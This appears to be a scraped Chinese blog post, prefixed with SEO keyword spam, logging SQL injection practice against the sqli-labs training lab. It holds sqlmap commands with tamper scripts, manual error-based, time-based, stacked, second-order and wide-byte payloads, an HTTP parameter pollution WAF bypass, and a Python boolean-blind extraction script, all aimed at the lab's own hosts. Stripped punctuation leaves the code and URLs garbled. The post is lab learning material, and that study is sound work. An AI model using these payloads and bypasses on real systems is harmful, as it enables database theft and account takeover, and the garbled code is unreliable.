网站类网站开发犯罪吗,肇东网站建设云聚达,网站制作评价,电脑科技网站模板本文主要是写sqlmap在sql labs下的使用学习记录#xff0c;目的在于模拟黑盒测试#xff0c;不太在意原理。#xff08;当然#xff0c;原理还是要学习好才这么干的。#xff09;不得不说收获还是蛮大的。首先推荐下sqlmap使用的学习视频。1-9#xff1a;python sqlmap.p…本文主要是写sqlmap在sql labs下的使用学习记录目的在于模拟黑盒测试不太在意原理。当然原理还是要学习好才这么干的。不得不说收获还是蛮大的。首先推荐下sqlmap使用的学习视频。1-9python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id1 --batch10单独的sleep(5)不起效果[http://127.0.0.1/sqlilabs/Less-10/?id1%22and%20If(ascii(substr(database(),1,1))114,1,sleep(5))--](http://127.0.0.1/sqlilabs/Less-10/?id1and If(ascii(substr(database(),1,1))114,1,sleep(5))--)python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-10/?id1 --batch --level 311-17python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-16/ --datauname123passwd123submitSubmit --batch --dbs18-22账号Dumb密码Dumb。sqlmap使用-r读取请求包在需要探测的地方加*可以检测出来漏洞点。18User Agentpython sqlmap.py -r ./target.txt --batch --level 519Referer20cookie处21cookie需要将注入语句base64加密源代码处有base64解密python sqlmap.py -r ./target.txt --batch --level 5 --tamperbase64encode.py22cookie21注入语句前缀后缀的单引号换成双引号python sqlmap.py -r ./target.txt --batch --level 5 --tamperbase64encode.pypython sqlmap.py -u http://192.168.2.82/sqlilabs/Less-18/ -p “User-Agent” --batch --dbs --level 5 --thread 10 --technique E 此语句无效 and updatexml(1,concat(0x7e,(select user()),0x7e),1) and 11and extractvalue(1,concat(0x7e,(select version),0x7e)) and 1123python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-23/index.php?id124一个二次注入且漏洞功能为修改原账户密码。无法用sqlmap自动检测。注册个账户admin’#然后登入admin’#然后修改密码然后原来admin的密码就会被修改覆盖因为**修改密码功能**处形成的 sql 语句是UPDATE users SET passwdNew_Pass WHERE username admin#xxxx25python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-25/index.php?id1 --batch26-26a-27提示说空格和注释在 Windows 下会有无法用特殊字符代替空格的问题这是 Apache 解析的问题所以这里需要使用linux来进行搭建window下可以使用加号%2b来代替空格不过union两边有加号会报错因此只能选择布尔盲注或者时间盲注。//26-27
import requests
urlhttp://192.168.2.82/sqlilabs/Less-26/?id1%26%26(ascii(substr(database(),{},1)){})||1
result
for i in range(1,10):for j in range(33,127):payload url.format(i,j)r requests.get(payload)r.encodingr.apparent_encodingif Dumb in r.text:result chr(j)print (result)break
//26a
urlhttp://192.168.2.82/sqlilabs/Less-26/?id1)%26%26(ascii(substr(database(),{},1)){})||(1//27a
urlhttp://192.168.2.82/sqlilabs/Less-27a/?id1%26%26(ascii(substr(database(),{},1)){})||1//28-28a
urlhttp://192.168.2.82/sqlilabs/Less-28/?id1)%26%26(ascii(substr(database(),{},1)){})||(129:这题就有点意思了HTTP参数污染。服务器端有两个部分第一部分为 tomcat 为引擎的 jsp 型服务器第二部分为 apache 为引擎的 php 服务器真正提供 web 服务的是 php 服务器。在我们实际应用中也是有两层服务器的情况那为什么要这么做是因为我们往往在 tomcat 服务器处做数据过滤和处理功能类似为一个 waf由于解析参数机制的不同我们此处可以利用该原理绕过 WAF 的检测数据解析顺序tomcat从前往后apache从后往前双同参数http://127.0.0.1/sqli-labs-master/Less-29/?id1id0 union select 1,database(),3--http://127.0.0.1/sqli-labs-master/Less-29/?id1id0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),3--3029的单引号改为双引号3129的单引号改为)32-33:宽字节注入利用mysql使用GBK编码将两个字符看成一个汉字的特性消除转移符号“、”使单引号逃逸出来。这是每次黑盒测试都需要检测的一个点。python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-32/?id1 --thread 10 --tamperunmagicquotes.py --batch34python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-34/ --datauname123passwd123submitSubmit --thread 10 --tamperunmagicquotes.py --batch35python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-35/?id1 --batch36python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-36/?id1 --thread 10 --tamperunmagicquotes.py --batch37python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-37/ --datauname123passwd123submitSubmit --thread 10 --tamperunmagicquotes.py --batch38-41python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-38/?id1 --batch42-4543同理前缀变了这种东西除非白盒测试能够看到源码否则想不出这数据库名以及字段数。login_usertestlogin_password1’;insertintousersvalues(44,‘Less32’,‘Less42’)–mysubmitLoginlogin_usertestlogin_password1’orsysdate()-now()0andsleep(1)1–mysubmitLogin我真是个小天才我好像懂了sqlmap为什么会连接失败了超时了。好吧sqlmap能够测出来由于容易超时因此容易在其中一步的询问中问你要不要继续默认停止此时你要手动点继续。因此不能够使用–batch参数。–time-sec1python sqlmap.py -r target.txt --flush-session --fresh-queries --time-sec146-53python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-46/?sort1 --batch总结找注入点最万能的方法是在请求包后面加星号*然后用-r读取。先测试什么都不加只有—batch。如果很多连接失败的报错则需要手动点击继续不能使用—batch参数同时设置盲注延迟时间–time-sec1第二步骤不行的话level提升为4.第三步骤不行的话使用脚本–tamperunmagicquotes.py进行宽字节注入。以上步骤都不行的话自行使用脚本进行测试。判断双写等waf拦截。或者双同参数的HTTP参数污染。小脚本import requests
urlhttp://192.168.2.82/sqlilabs/Less-26/?id1%26%26(ascii(substr(database(),{},1)){})||1
result
for i in range(1,10):for j in range(33,127):payload url.format(i,j)r requests.get(payload)r.encodingr.apparent_encodingif Dumb in r.text:result chr(j)print (result)break心疼我相麻